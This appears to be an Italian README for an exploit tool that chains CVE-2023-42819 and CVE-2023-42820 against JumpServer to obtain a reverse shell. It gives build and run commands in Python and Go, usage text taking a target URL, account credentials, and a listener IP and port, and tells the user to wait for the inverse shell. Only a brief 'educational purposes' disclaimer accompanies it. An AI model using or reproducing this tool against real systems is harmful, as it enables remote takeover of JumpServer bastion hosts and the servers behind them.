
CVE-2023-42819
CVE-2023-42819
Vulnerabilità di scrittura arbitraria di file in JumpServer
CVE-2023-42819 + CVE-2023-42820 = GetShell
Posizionare lo script e i file necessari nella stessa directory
Assicurarsi di aver installato Google Chrome e ottenere il numero di versione di Google Chrome
reg query "HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon" /v version
Scaricare chromedriver corrispondente alla versione di Google Chrome e al sistema, quindi inserirlo in webdriver
Ultima versione: https://googlechromelabs.github.io/chrome-for-testing/
Versioni precedenti: https://chromedriver.chromium.org/downloads/version-selection
Che pretese : (
Mettere in ascolto l'IP e la Porta corrispondenti, attendere la shell inversa
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Il codice è solo per scopi didattici, non utilizzarlo per altri scopi
usage: CVE-2023-42819-Fin.py [-h] -t TARGET -u USERNAME -p PASSWORD --ip IP --port PORT [--proxy PROXY]
CVE-2023-42819 di C1ph3rX13.
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esce
-t TARGET, --target TARGET
URL target
-u USERNAME, --username USERNAME
nome utente dell'account
-p PASSWORD, --password PASSWORD
password dell'account
--ip IP IP della shell
--port PORT porta della shell
--proxy PROXY proxy verso http://ip:port


go mod init CVE-2023-42819
go mod tidy
go build -ldflags="-s -w" -trimpath
.\CVE-2023-42819.exe -t http://IP:Port -u username -p password -ip IP -port Port -proxy proxyUrl
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██████╗ █████╗ ██╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ██║ ██║╚════██╗██╔══██╗███║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗███████║ █████╔╝╚█████╔╝╚██║╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚════██║██╔═══╝ ██╔══██╗ ██║ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██║███████╗╚█████╔╝ ██║ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝ ╚════╝ ╚═╝ ╚════╝
@Auth: C1ph3rX13
@Blog: https://c1ph3rx13.github.io
@Note: Il codice è solo per scopi didattici, non utilizzarlo per altri scopi
Usage of CVE-2023-42819.exe:
-ip string
IP della shell
-p string
Password dell'account
-port string
Porta della shell
-proxy string
URL del proxy
-t string
URL target
-u string
Nome utente dell'account

http, https, socks